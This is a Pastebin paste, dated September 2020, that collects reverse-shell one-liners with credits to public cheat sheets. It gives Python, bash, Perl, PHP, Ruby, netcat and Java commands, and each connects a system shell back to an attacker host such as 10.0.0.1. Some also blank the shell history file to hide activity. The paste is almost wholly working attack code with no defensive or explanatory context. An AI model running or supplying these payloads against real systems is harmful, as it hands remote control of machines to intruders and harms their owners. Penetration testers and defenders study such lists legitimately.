ToKeiChun

Reverse Shell Payload

Sep 22nd, 2020
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.44 KB | None | 0 0
  1. CREDITS:
  2. https://github.com/infodox/python-pty-shells
  3. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  4. -----------------------------------------------------------------------------------------------------------------------------
  5.  
  6. python UDP: python -c 'import socket, pty, os; s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("10.10.16.21", 5151)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close()'
  7.  
  8. python TCP: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  9.  
  10. python SCTP: python -c 'import socket,pty,os;from sctp import *; s = sctpsocket_tcp(socket.AF_INET); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close()'
  11.  
  12. -----------------------------------------------------------------------------------------------------------------------------
  13. bash TCP: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  14.  
  15. bash UDP: bash -i >& /dev/udp/10.0.0.1/8080 0>&1
  16.  
  17. -----------------------------------------------------------------------------------------------------------------------------
  18. perl TCP: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  19.  
  20. -----------------------------------------------------------------------------------------------------------------------------
  21. php TCP: php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  22.  
  23. -----------------------------------------------------------------------------------------------------------------------------
  24. ruby TCP: ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  25.  
  26. -----------------------------------------------------------------------------------------------------------------------------
  27. netcat.traditional TCP: nc -e /bin/sh 10.0.0.1 1234
  28. netcat.traditional UDP: nc -u -e /bin/sh 10.0.0.1 1234
  29. netcat TCP: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  30. netcat UDP: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.0.0.1 1234 >/tmp/f
  31.  
  32. -----------------------------------------------------------------------------------------------------------------------------
  33.  
  34. Java TCP: r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
  35.  
  36. -----------------------------------------------------------------------------------------------------------------------------
  37. Java TCP 2:
  38.  
  39. String host="localhost";
  40. int port=8044;
  41. String cmd="cmd.exe";
  42. Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
  43.  
Add Comment
Please, Sign In to add comment